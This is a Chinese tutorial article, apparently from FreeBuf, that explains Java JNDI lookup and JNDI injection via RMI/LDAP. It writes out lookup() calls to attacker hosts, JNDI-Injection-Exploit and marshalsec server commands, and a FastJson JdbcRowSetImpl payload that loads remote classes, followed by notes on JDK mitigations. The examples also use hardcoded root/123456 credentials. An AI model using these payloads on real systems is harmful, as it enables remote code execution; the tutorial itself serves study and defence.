安全开发——JavaEE应用&JNDI注入&RMI服务&LDAP服务&JDK绕过&调用链类
什么是JNDI注入先明确核心前提JNDI 就像一个 “全公司通用的资源登记本”:管理员把数据库连接、打印机、远程服务这些 “资源” 登记到本子上(绑定),给每个资源起个好记的名字(比如jdbc/Sho 2025-12-1 08:47:58 Author: www.freebuf.com(查看原文) 阅读量:1 收藏

什么是JNDI注入

  • 先明确核心前提

    JNDI 就像一个 “全公司通用的资源登记本”:

    • 管理员把数据库连接、打印机、远程服务这些 “资源” 登记到本子上(绑定),给每个资源起个好记的名字(比如jdbc/ShopDB);

    • 开发人员不用知道资源的具体地址 / 参数,只要报名字就能从本子上找到对应的资源(查找),直接用就行。

    例子:电商系统用 JNDI 获取数据库连接

    假设你开发一个电商网站,需要连接 MySQL 数据库,用 JNDI 管理的完整流程如下:

    步骤 1:配置 JNDI 数据源(Tomcat 容器中)

    首先,管理员在 Tomcat 服务器的配置文件(context.xml)里,把数据库连接的所有参数(地址、账号、密码)配置成 JNDI 资源,相当于 “往登记本上填信息”:

    <!-- Tomcat的context.xml配置示例 -->
    <Resource
    name="jdbc/ShopDB"          <!-- 给资源起的名字(关键,后续靠这个找) -->
    auth="Container"            <!-- 由容器(Tomcat)管理 -->
    type="javax.sql.DataSource" <!-- 资源类型:数据库连接池 -->
    maxTotal="100"              <!-- 连接池最大连接数 -->
    maxIdle="30"                <!-- 最大空闲连接数 -->
    maxWaitMillis="10000"       <!-- 获取连接的超时时间 -->
    username="root"             <!-- 数据库账号 -->
    password="123456"           <!-- 数据库密码 -->
    driverClassName="com.mysql.cj.jdbc.Driver" <!-- 数据库驱动 -->
    url="jdbc:mysql://localhost:3306/shop_db"  <!-- 数据库地址 -->
    />

    这一步的核心:把 “数据库连接池” 这个对象,和名称jdbc/ShopDB绑定,存在 Tomcat 的 JNDI 服务里

    步骤 2:Java 代码中通过 JNDI 查找资源

    你写业务代码时,不用硬编码数据库账号、地址,只需要通过 JNDI 的lookup()方法,报出jdbc/ShopDB这个名字,就能拿到数据库连接池:

    import javax.naming.Context;
    import javax.naming.InitialContext;
    import javax.sql.DataSource;
    import java.sql.Connection;

    public class OrderDAO {
    // 获取数据库连接的方法
    public Connection getDBConnection() throws Exception {
    // 1. 创建JNDI的初始上下文(相当于“打开登记本”)
    Context ctx = new InitialContext();

    // 2. 核心:通过名称查找资源(相当于“在登记本上查jdbc/ShopDB对应的资源”)
    // java:comp/env/是JNDI的固定前缀,代表“当前应用的环境资源”
    DataSource dataSource = (DataSource) ctx.lookup("java:comp/env/jdbc/ShopDB");

    // 3. 从连接池获取连接(拿到资源后直接用)
    Connection conn = dataSource.getConnection();
    return conn;
    }

    // 测试:查询订单数据
    public void queryOrder() throws Exception {
    Connection conn = getDBConnection();
    // 后续执行SQL、查询数据...
    System.out.println("成功获取数据库连接:" + conn);
    conn.close();
    }

    public static void main(String[] args) throws Exception {
    new OrderDAO().queryOrder();
    }
    }

    步骤 3:JNDI 的底层运行逻辑(关键)

    你调用lookup("java:comp/env/jdbc/ShopDB")时,JNDI 其实做了这些事:

    1. 初始化上下文InitialContext()会加载 Tomcat 的 JNDI 服务实现(SPI 层),相当于 “找到登记本的存放位置”;

    2. 解析名称:JNDI 去掉前缀java:comp/env/,只保留jdbc/ShopDB,去 Tomcat 的 JNDI 注册表中匹配名称;

    3. 返回资源对象:找到绑定的DataSource(数据库连接池)对象后,直接返回给你的代码;

    4. 资源复用:你拿到的连接是从连接池里取的,用完归还即可,不用每次都重新创建连接。

    步骤 4:对比 “不用 JNDI” 的情况(更易理解优势)

    如果不用 JNDI,你需要在代码里硬编码所有数据库参数,比如:

    // 不用JNDI的写法(弊端明显)
    public Connection getDBConnection() throws Exception {
    Class.forName("com.mysql.cj.jdbc.Driver");
    // 硬编码地址、账号、密码,改一处就要改代码、重新部署
    Connection conn = DriverManager.getConnection(
    "jdbc:mysql://localhost:3306/shop_db",
    "root",
    "123456"
    );
    return conn;
    }

    一旦数据库地址从localhost改成192.168.1.100,或者密码修改,你必须改代码、重新编译、重新部署;而用 JNDI,只需要改 Tomcat 的context.xml配置,代码一行不用动。

    再补充:JNDI 注入的场景(结合之前的知识点)

    如果上面的lookup()参数不是固定的jdbc/ShopDB,而是能被用户控制(比如从 URL 参数里取),就会触发 JNDI 注入:

    // 危险代码:lookup参数来自用户输入(攻击者可篡改)
    String userInput = request.getParameter("dbName"); // 攻击者传入:jndi:ldap://恶意服务器/恶意类
    Context ctx = new InitialContext();
    DataSource dataSource = (DataSource) ctx.lookup(userInput); // 触发注入

    攻击者把userInput改成恶意的 LDAP/RMI 地址,JNDI 就会去连接攻击者的服务器,加载恶意类并执行代码 —— 这就是 JNDI 注入的核心,本质是 “把合法的资源查找,变成了恶意的远程代码加载”。

    这个就很像log4j任意命令执行漏洞的成因,因为输出错误日志,将用户输出输出到控制台,导致命令执行

    总结

    JNDI 的运行机制核心就是:先把资源和名称绑定到 JNDI 服务中,再通过统一的名称查找资源,全程屏蔽底层资源的实现细节;而 JNDI 注入则是利用 “查找参数可控” 的漏洞,让 JNDI 去加载恶意资源。

    JNDI远程调用(即如何构造远程注入)

    # JNDI远程调用 -- JNDI-Injection

    ## 1、使用远程调用 -- 即向远程恶意服务器进行请求 -- 具体代码如下:
    ##   new InitialContext().lookup("ldap://xx.xx.xx.xx:1389/Test");
    ##   new InitialContext().lookup("rmi://xx.xx.xx.xx:1099/Test")

    ## 2、 使用利用工具生成调用地址
    ## java -jar JNID-Injection-Exploit-1.0-SNAPPSHOT-all.jar -C "calc" -A xx.xx.xx.xx


    # JNDI远程调用 -- marshalsec

    /*
    # JNDI远程调用-marshalsec

    ## 1、使用远程调用(默认端口1389)
    ## new InitialContext().lookup("ldap://xx.xx.xx.xx:1389/Test");
    ## new InitialContext().lookup("rmi://xx.xx.xx.xx:1099/Test");

    ## 2、编译调用对象
    ## javac Test.java

    ## 3、使用利用工具生成调用协议(rmi,ldap)
    ## java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer
    ## http://0.0.0.0/#Test
    ## java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer
    ## http://0.0.0.0/#Test
    ## 注意:#Test不是完全任意命名,它需要和攻击者准备的恶意类的类名保持一致

    ## 4、将生成的Class存放访问路径(要存放在网站的根目录,保证可以被攻击目标访问到并下载)

JNDI注入 - FastJson漏洞结合

  • 1、背景:FastJson反序列化漏洞

    # JavaEE 中接收用户提交的JSON 数据并进行转换 

    # "b":{
    "@type":"com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":"rmi://192.168.200.131:9999/TouchFile",
    "autoCommit":true
    }

    # 当输入类时,反序列化会创建该类的实例
  • 2、漏洞利用思路

    // 漏洞利用FastJson autotype处理Json对象的时候,未对@type字段进行完整的安全性校验,攻击者可以
    // 传入危险类,并使用lookup()方法调用该类远程连接恶意服务器执行恶意类,获取服务器敏感信息并进行下一步操作

    // 利用JdbcRowSetImpl类中的InitialContext.lookup()方法进行JNDI注入

    // 解释:JdbcRowSetImpl与lookup()的关联逻辑
    // JdbcRowSetImpl是用于操作数据库行集的类,它支持通过 JNDI 查找数据源,内部流程是:
    // 调用setDataSourceName(String name):设置要查找的 JNDI 数据源名称;
    // 调用connect():尝试连接数据库时,会通过 JNDI 查找setDataSourceName传入的名称 ——这里会调用 InitialContext.lookup(name)。

    //关键代码
    public class JdbcRowSetImpl {
    private String dataSourceName; // 存储JNDI数据源名称

    // 设置JNDI数据源名称
    public void setDataSourceName(String dataSourceName) {
    this.dataSourceName = dataSourceName;
    }

    // 连接数据库时调用
    private void connect() throws SQLException {
    if (this.dataSourceName != null) {
    try {
    // 核心:调用lookup()查找数据源
    InitialContext ctx = new InitialContext();
    DataSource ds = (DataSource) ctx.lookup(this.dataSourceName);
    this.conn = ds.getConnection();
    } catch (NamingException e) {
    // 异常处理
    }
    }
    }
    }
  • 3、实际操作

    # 1、报错判断FastJson 

    # 注意:这里请求包中的字符格式一定要是application/json 漏洞发生点在由JSON转为字符的过程中
    # parse()方法

    image.png

# 2、生成远程调用方法 -- 即生成远程调用地址

# java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A xx.xx.xx.xx

# 3、提交JSON数据 Payload

"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.200.131:9999/TouchFile",
"autoCommit":true
}

JNDI注入 ---- 高版本注入绕过

/*

JDK 6u45、7u21之后:
java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,
将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。
使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。

JDK 6u141、7u131、8u121之后:
增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,
因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。

JDK 6u211、7u201、8u191之后:
增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,
禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。


*/

本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)


文章来源: https://www.freebuf.com/articles/vuls/459814.html
如有侵权请联系:admin#unsafe.sh